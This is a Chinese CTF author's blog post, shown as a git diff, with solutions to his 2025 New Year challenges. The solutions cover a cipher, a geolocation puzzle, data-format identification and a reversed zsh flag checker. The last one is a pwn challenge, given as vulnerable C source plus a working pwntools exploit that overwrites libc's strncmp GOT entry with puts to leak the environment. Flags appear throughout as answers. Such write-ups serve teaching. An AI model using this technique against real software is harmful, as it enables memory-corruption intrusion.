|
| 1 | +--- |
| 2 | +title: 2025 新年火箭杯 |
| 3 | +date: 2025/02/13 14:29:00 |
| 4 | +updated: 2025/02/13 18:45:00 |
| 5 | +tags: |
| 6 | + - challenge author |
| 7 | + - got-hijack |
| 8 | + - libc-hook |
| 9 | + - multi-directions |
| 10 | +thumbnail: /assets/trueblog/newyear2025/banner.png |
| 11 | +excerpt: 去年除夕就搞了“第一届火箭杯”,今年新一届来了!奖金加码到300元,题目增加一题,还搭建了专用平台(虽然没什么人做)。一起来看看平台搭建和题目详解吧 |
| 12 | +--- |
| 13 | + |
| 14 | +去年整了4题,在qq上分发,总共发了200。今年赚了点米,奖金加到了300元,还专门开设了新平台, |
| 15 | +由于难度有所上浮,大家做的积极性并不高,不过至少每个方向都有人出。 |
| 16 | + |
| 17 | +{% note green fa-arrow-up-right-from-square %} |
| 18 | +现在就可以访问: https://newyear.rocketma.dev |
| 19 | +{% endnote %} |
| 20 | + |
| 21 | +## 手搓平台 |
| 22 | + |
| 23 | +既然是如此小型的比赛,自不必使用ctfd等大型平台。为了顺便了解一点前端的知识, |
| 24 | +我自己用Flask手搓了一个平台。在使用qwen2.5生成一段起始html后,我就开始自己探索, |
| 25 | +完成了剩下网页的构建。我总共花了2天时间来手搓,不得不说,相比以前,有了llm后, |
| 26 | +ai写参考代码方便了很多。 |
| 27 | + |
| 28 | +{% note blue fa-warehouse %} |
| 29 | +webui现已开源: https://github.com/RocketMaDev/RocketCup2025WebUI |
| 30 | +{% endnote %} |
| 31 | + |
| 32 | +边学边写,我自学了一部分css和js,对于弹窗,采用了js动态注入的方式,同时界面做了一定程度的美化, |
| 33 | +看起来应该是比较现代化的。虽然比不过ret2shell等大型平台,但是对于过年小比赛,flag固定的情况来说, |
| 34 | +差不多是够用了。REST API部分全部采用GET,基本上遍历了所有情况,不会出什么bug。 |
| 35 | + |
| 36 | +最后部署,使用`gunicorn`来分发flask服务,搭建在本机上,通过nginx做反向代理, |
| 37 | +绑定到机器的443端口。1Panel确实好用,通过web前端可以很方便地设置let's encrypt的证书, |
| 38 | +查看web日志,设置防火墙规则什么的。 |
| 39 | + |
| 40 | +{% note yellow fa-circle-exclamation %} |
| 41 | +`torus`是 **MyFonts** 上的专有字体,虽然osu中有用到,但是我没有版权来分发, |
| 42 | +因此仓库中没有包含。 |
| 43 | +{% endnote %} |
| 44 | + |
| 45 | +## 题解 |
| 46 | + |
| 47 | +所有的附件可以在[平台仓库的Releases](https://github.com/RocketMaDev/RocketCup2025WebUI/releases/tag/release) |
| 48 | +中找到 |
| 49 | +### 你的第一个红包! |
| 50 | + |
| 51 | +> NWERFnen0es4yEYA{3cEcd1Es} |
| 52 | +
|
| 53 | +看起来像是栅栏编码,一把梭 |
| 54 | + |
| 55 | + |
| 56 | + |
| 57 | +{% note default fa-flag %} |
| 58 | +`NEWYEAR{F3nceEnc0de1sE4sy}` |
| 59 | +{% endnote %} |
| 60 | + |
| 61 | +### find $(pwd) |
| 62 | + |
| 63 | +> 下载图片,看看我是从哪里拍的?(不是在拍哪) |
| 64 | +> flag提交格式:`NEWYEAR{str(sha256(f"{经度:.2f},{纬度:.2f}"))[:18]}` |
| 65 | +
|
| 66 | +{% folding grey::照片 %} |
| 67 | + |
| 68 | +{% endfolding %} |
| 69 | + |
| 70 | +这张照片拍的是西湖旁边的八卦田,将照片对着地图摆一摆可以推测出我是从其西北处的山上拍的, |
| 71 | +在山坡上取一个方便拍照的地,坐标大约是`120.14,30.21`,因此计算其sha256得到flag。 |
| 72 | + |
| 73 | +<img src="/assets/trueblog/newyear2025/position.png" height="70%" width="70%"> |
| 74 | + |
| 75 | +{% note default fa-flag %} |
| 76 | +`NEWYEAR{2b699aff46606103b4}` |
| 77 | +{% endnote %} |
| 78 | + |
| 79 | +### unpacker |
| 80 | + |
| 81 | +> 真有这么多数据交换格式? |
| 82 | +> 找出压缩包中1234文件分别对应的格式,从其中文维基百科页面提取url的最后一个字段, |
| 83 | +> 并用空格拼接起来,sha256后得到flag。 |
| 84 | +> 例如:1234分别对应w x y z,w的维基url是https://zh.wikipedia.org/wiki/W ,那么取W。 |
| 85 | +> w x y z最后得到W X Y Z,使用`sha256(['W', 'X', 'Y', 'Z'].join(' '))[:18]`包上 |
| 86 | +> `newyear{}`后得到flag。 |
| 87 | +
|
| 88 | +没啥好说的,就是认格式。从1到4分别是avro, bson, msgpack, protobuf。 |
| 89 | +计算`sha256('Apache_Avro BSON MessagePack Protocol_Buffers')` |
| 90 | + |
| 91 | +{% note default fa-flag %} |
| 92 | +`NEWYEAR{459794aa79b251ddd8}` |
| 93 | +{% endnote %} |
| 94 | + |
| 95 | +### crackZsh |
| 96 | + |
| 97 | +> 去年是bash脚本逆向,今年zsh脚本卷土重来! |
| 98 | +
|
| 99 | +为了方便调试,可以把`verify`中用来处理异常的大括号去掉,然后在发生错误时, |
| 100 | +把return码修改方便trace,这样就可以很方便地定位验证进度。 |
| 101 | +以下是还原后的脚本与配套的解释,可以看出渐进式验证flag的过程。 |
| 102 | + |
| 103 | +其中`typeset -A arr`的作用是将其类型设为哈希表。其他的zsh特性可以查阅 |
| 104 | +[zshguide](https://github.com/goreliu/zshguide)。 |
| 105 | + |
| 106 | +```zsh restored.zsh |
| 107 | +#!/bin/zsh |
| 108 | + |
| 109 | +print Input your flag to get your red envelop! |
| 110 | +read FLAG |
| 111 | + |
| 112 | +verify() { |
| 113 | + typeset -A arr |
| 114 | + FLAG=$1 |
| 115 | + # 限定flag长度和起始、末尾 |
| 116 | + if [[ $#FLAG -ne 27 ]] || [[ $FLAG[1,8] != "NEWYEAR{" ]] || [[ $FLAG[-1] != "}" ]] { |
| 117 | + return 1 |
| 118 | + } |
| 119 | + # NEWYEAR{xxxxxxxxxxxxxxxxxx} |
| 120 | + # date的第6个词是2025,因此第一个字符为2 |
| 121 | + tmp=$FLAG[9] |
| 122 | + param=$(printf '{print $%d}' $(($tmp+4))) |
| 123 | + if [[ $(LC_ALL=C date | awk $param) != "2025" ]] { |
| 124 | + return 2 |
| 125 | + } |
| 126 | + # NEWYEAR{2xxxxxxxxxxxxxxxxx} |
| 127 | + # 读入当前脚本的内容到buf中,寻找第9字符处的2个字符,即sh |
| 128 | + buf=$(<$2) |
| 129 | + if [[ $buf[(i)$FLAG[10,11]] -ne 9 ]] { |
| 130 | + return 3 |
| 131 | + } |
| 132 | + # NEWYEAR{2shxxxxxxxxxxxxxxx} |
| 133 | + # 第12字符处为3 |
| 134 | + if [[ $FLAG[$((10 + $tmp))] -ne $(($tmp + 1)) ]] { |
| 135 | + return 4 |
| 136 | + } |
| 137 | + # NEWYEAR{2sh3xxxxxxxxxxxxxx} |
| 138 | + # 查表得原始字符串为"Ll",由于有"C",因此原先可能是ll,由md5sum可以验证 |
| 139 | + arr=(L o r e m I p s u m A l i q o a V e l i t x) |
| 140 | + buf=${(C)${FLAG[13,14]}} |
| 141 | + if [[ "$arr[$buf[1]]$arr[$buf[2]]" != "oi" ]] || [[ $(print $FLAG[13,14] | md5sum | cut -c -5) != "243c4" ]] { |
| 142 | + return 5 |
| 143 | + } |
| 144 | + # NEWYEAR{2sh3llxxxxxxxxxxxx} |
| 145 | + # 第15字符处的码位为95,即_ |
| 146 | + if [[ $(python -c "print(ord('$FLAG[15]'))") -ne 95 ]] { |
| 147 | + return 6 |
| 148 | + } |
| 149 | + # NEWYEAR{2sh3ll_xxxxxxxxxxx} |
| 150 | + # (?? << 2) - 289 == 95,推断出原来是96 |
| 151 | + buf=$(($FLAG[16,17] << $tmp)) |
| 152 | + if [[ $(python -c "print(chr($buf - 289))") != $FLAG[15] ]] { |
| 153 | + return 7 |
| 154 | + } |
| 155 | + # NEWYEAR{2sh3ll_96xxxxxxxxx} |
| 156 | + # 从"96"处截断后,第3 4字符和"96"等同 |
| 157 | + buf=$FLAG[16,17] |
| 158 | + tmp=${FLAG#*$buf} |
| 159 | + if [[ $tmp[3,4] != $buf ]] { |
| 160 | + return 8 |
| 161 | + } |
| 162 | + # NEWYEAR{2sh3ll_96xx96xxxxx} |
| 163 | + # hex(96 + 96) => 16#C0,取3 4字符小写为c0 |
| 164 | + buf=$(([#16] $(($FLAG[16,17] + $FLAG[20,21])))) |
| 165 | + tmp=${buf:l} |
| 166 | + if [[ $tmp[4,5] != $FLAG[18,19] ]] { |
| 167 | + return 9 |
| 168 | + } |
| 169 | + # NEWYEAR{2sh3ll_96c096xxxxx} |
| 170 | + # 将22 23字符视为次数,重复向buf附加3个字符,根据buf长度穷举爆破,推得buf长度为45,即这两个字符为15 |
| 171 | + buf= |
| 172 | + repeat $FLAG[22,23] { |
| 173 | + buf+=$FLAG[24,26] |
| 174 | + } |
| 175 | + if [[ $(print $#buf | sha256sum | cut -c -5) != "42000" ]] { |
| 176 | + return 10 |
| 177 | + } |
| 178 | + # NEWYEAR{2sh3ll_96c09615xxx} |
| 179 | + # 将buf中所有da替换为ad,要求前6个字符为_dca__,在变换前就是d_c_a_,因为字符按3个一组是不断重复的,因此这6个字符就是dacdac |
| 180 | + buf=${buf//da/ad} |
| 181 | + if [[ $buf[2,4] != "dca" ]] { |
| 182 | + return 11 |
| 183 | + } |
| 184 | + # NEWYEAR{2sh3ll_96c09615dac} |
| 185 | + return 0 |
| 186 | +} |
| 187 | + |
| 188 | +verify $FLAG $0 |
| 189 | +err=$? |
| 190 | +if [[ $err -eq 0 ]] { |
| 191 | + print Flag verified, congratulations! |
| 192 | +} else { |
| 193 | + print Incorrect flag: $err |
| 194 | +} |
| 195 | +``` |
| 196 | +
|
| 197 | +{% note green fa-heart %} |
| 198 | +本题只有 *mantle* 做出,太强了! |
| 199 | +{% endnote %} |
| 200 | +
|
| 201 | +{% note default fa-flag %} |
| 202 | +`NEWYEAR{2sh3ll_96c09615dac}` |
| 203 | +{% endnote %} |
| 204 | +
|
| 205 | +### put?env! |
| 206 | +
|
| 207 | +> Flag放在环境变量里,但是要被覆写了😨 |
| 208 | +> 沙箱中除了read和write以外的系统调用,都只是为了让程序不似,不是用来利用的 |
| 209 | +> libc是2.35-0ubuntu3.8_amd64 |
| 210 | +> nc newyear.rocketma.dev 1337 |
| 211 | +
|
| 212 | +{% folding purple::题目源码 %} |
| 213 | +```c putenv.c |
| 214 | +#include <stdlib.h> |
| 215 | +#include <stdbool.h> |
| 216 | +#include <stdio.h> |
| 217 | +#include <seccomp.h> |
| 218 | + |
| 219 | +void sandbox(void) { |
| 220 | + scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL); |
| 221 | + if (!ctx) |
| 222 | + goto kill; |
| 223 | + int rc = seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0); |
| 224 | + if (rc < 0) |
| 225 | + goto kill; |
| 226 | + rc = seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0); |
| 227 | + if (rc < 0) |
| 228 | + goto kill; |
| 229 | + rc = seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0); |
| 230 | + if (rc < 0) |
| 231 | + goto kill; |
| 232 | + rc = seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0); |
| 233 | + if (rc < 0) |
| 234 | + goto kill; |
| 235 | + rc = seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(fstat), 0); |
| 236 | + if (rc < 0) |
| 237 | + goto kill; |
| 238 | + rc = seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(lseek), 0); |
| 239 | + if (rc < 0) |
| 240 | + goto kill; |
| 241 | + rc = seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(newfstatat), 0); |
| 242 | + if (rc < 0) |
| 243 | + goto kill; |
| 244 | + rc = seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(brk), 0); |
| 245 | + if (rc < 0) |
| 246 | + goto kill; |
| 247 | + rc = seccomp_load(ctx); |
| 248 | + if (rc < 0) |
| 249 | + goto kill; |
| 250 | + return; |
| 251 | +kill: |
| 252 | + exit(-1); |
| 253 | +} |
| 254 | + |
| 255 | +int main(void) { |
| 256 | + setbuf(stdout, NULL); |
| 257 | + unsigned long arr[3] = {0x2025, 0x6666, 0x8888}; |
| 258 | + puts("Happy 2025!"); |
| 259 | + puts("You got one chance to set value"); |
| 260 | + long recv = 0; |
| 261 | + bool done = false; |
| 262 | + sandbox(); |
| 263 | + do { |
| 264 | + puts("Which to set?"); |
| 265 | + printf("IDX > "); |
| 266 | + int err = scanf("%ld", &recv); |
| 267 | + while (getchar() != '\n'); |
| 268 | + if (!err) |
| 269 | + continue; |
| 270 | + if (recv >= 3) |
| 271 | + puts("No way!!"); |
| 272 | + else { |
| 273 | + printf("Is this what you want? %#lx\n", arr[recv]); |
| 274 | + printf("[Y/n] "); |
| 275 | + int ch = getchar(); |
| 276 | + if (ch == '\n' || (getchar(), ch == 'y')) |
| 277 | + done = true; |
| 278 | + } |
| 279 | + } while (!done); |
| 280 | + done = false; |
| 281 | + do { |
| 282 | + puts("Tell me what you want"); |
| 283 | + printf("VAL > "); |
| 284 | + int err = scanf("%ld", arr + recv); |
| 285 | + if (!err) { |
| 286 | + while (getchar() != '\n'); |
| 287 | + continue; |
| 288 | + } |
| 289 | + done = true; |
| 290 | + } while (!done); |
| 291 | + puts("Now the FLAG is gone!"); |
| 292 | + setenv("FLAG", "", 1); |
| 293 | + return 0; |
| 294 | +} |
| 295 | +``` |
| 296 | +{% endfolding %} |
| 297 | +
|
| 298 | +保护全开,64位。由于libc是2.35,因此got表可写。这道题的出题思路其实来源于今年强网杯, |
| 299 | +看狼组的wp时发现有非预期可以读环境变量。查看源码可知,`setenv`调用`__add_to_environ`, |
| 300 | +而在`__add_to_environ`中,有一个遍历所有环境变量的地方: |
| 301 | +
|
| 302 | +```c stdlib/setenv.c |
| 303 | + ep = __environ; |
| 304 | + |
| 305 | + size = 0; |
| 306 | + if (ep != NULL) |
| 307 | + { |
| 308 | + for (; *ep != NULL; ++ep) |
| 309 | + if (!strncmp (*ep, name, namelen) && (*ep)[namelen] == '=') |
| 310 | + break; |
| 311 | + else |
| 312 | + ++size; |
| 313 | + } |
| 314 | +``` |
| 315 | +
|
| 316 | +在这个地方不难看出所有环境变量都会经历一遍`strncmp`,并且第一个参数恰好是环境变量字符串。 |
| 317 | +不难想到,如果把`strncmp`的got绑定到`puts`,就可以泄露所有环境变量。由于`puts` |
| 318 | +的返回值是打印的字符数,因此不会出现进入&&分支。 |
| 319 | +
|
| 320 | +因为我禁用了几乎所有系统调用,并且只能写一个QWORD,所以大概没有什么非预期, |
| 321 | +直到 *山西小嫦娥* 来向我反馈。 |
| 322 | +
|
| 323 | +{% note green fa-heart %} |
| 324 | +感谢 *山西小嫦娥* 的反馈! |
| 325 | +{% endnote %} |
| 326 | +
|
| 327 | +由于指针是无符号数,而输入时`recv`需要乘以8才会与指针相加,因此完全可以通过控制输入, |
| 328 | +使得`recv * 8`为大于3的正数,从而实现环境变量区的任意读。于是我加了以下这一条patch |
| 329 | +来使得这个trick也不能通过检查。 |
| 330 | +
|
| 331 | +```diff fix-wrap-arround.patch |
| 332 | +--- putenv.c |
| 333 | ++++ putenv.c |
| 334 | +@@ -56,3 +56,3 @@ |
| 335 | + continue; |
| 336 | +- if (recv >= 3) |
| 337 | ++ if (recv >= 3 || arr + recv > arr + 3) |
| 338 | + puts("No way!!"); |
| 339 | +``` |
| 340 | +
|
| 341 | +{% note blue fa-face-sad-tear %} |
| 342 | +然而,我在重新编译程序后,确实更新了xinetd服务的二进制,却忘记更新web服务分发的二进制。 |
| 343 | +也就是说,修补后网页上分发的程序和实际跑的程序并不是同一个,并且相关的偏移也变了, |
| 344 | +因此写出“正确”的脚本也有可能打不通,向大家道歉。 |
| 345 | +{% endnote %} |
| 346 | +
|
| 347 | +最后,解题思路就是从栈上获取libc基址和栈基址,计算得到`libc.got['strncmp']`的位置, |
| 348 | +利用唯一的一次修改,将其改为`puts`,这样在`setenv`时就会打印出所有flag。exp: |
| 349 | +
|
| 350 | +```python putenv.py |
| 351 | +from pwn import * |
| 352 | +context.terminal = ['tmux','splitw','-h'] |
| 353 | +context.arch = 'amd64' |
| 354 | +GOLD_TEXT = lambda x: f'\x1b[33m{x}\x1b[0m' |
| 355 | +EXE = './putenv' |
| 356 | + |
| 357 | +def payload(lo: int): |
| 358 | + global sh |
| 359 | + if lo: |
| 360 | + sh = process(EXE) |
| 361 | + if lo & 2: |
| 362 | + gdb.attach(sh) |
| 363 | + else: |
| 364 | + sh = remote('newyear.rocketma.dev', 1337) |
| 365 | + libc = ELF('/home/Rocket/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6') |
| 366 | + |
| 367 | + def select(idx: int, goon: bool) -> int: |
| 368 | + assert idx < 3 |
| 369 | + sh.sendlineafter(b'IDX', str(idx).encode()) |
| 370 | + sh.recvuntil(b'want?') |
| 371 | + key = int(sh.recvline(), 16) |
| 372 | + sh.sendlineafter(b'Y/n', b'n' if goon else b'y') |
| 373 | + return key |
| 374 | + |
| 375 | + libcBase = select(-15, True) - libc.symbols['_IO_2_1_stdout_'] |
| 376 | + success(GOLD_TEXT(f"Leak libcBase: {libcBase:#x}")) |
| 377 | + libc.address = libcBase |
| 378 | + |
| 379 | + arrayBase = select(-6, True) + 8 |
| 380 | + success(GOLD_TEXT(f"Leak arrayBase: {arrayBase:#x}")) |
| 381 | + |
| 382 | + select((libc.got['strncmp'] - arrayBase) // 8, False) |
| 383 | + sh.sendlineafter(b'VAL', str(libc.symbols['puts']).encode()) |
| 384 | + |
| 385 | + sh.recvuntil(b'NEWYEAR{') |
| 386 | + flag = b'NEWYEAR{' + sh.recvuntil(b'}') |
| 387 | + success(f"Flag is: {flag.decode('utf-8')}") |
| 388 | + sh.close() |
| 389 | +``` |
| 390 | +
|
| 391 | +{% note default fa-flag %} |
| 392 | + |
| 393 | +{% endnote %} |
0 commit comments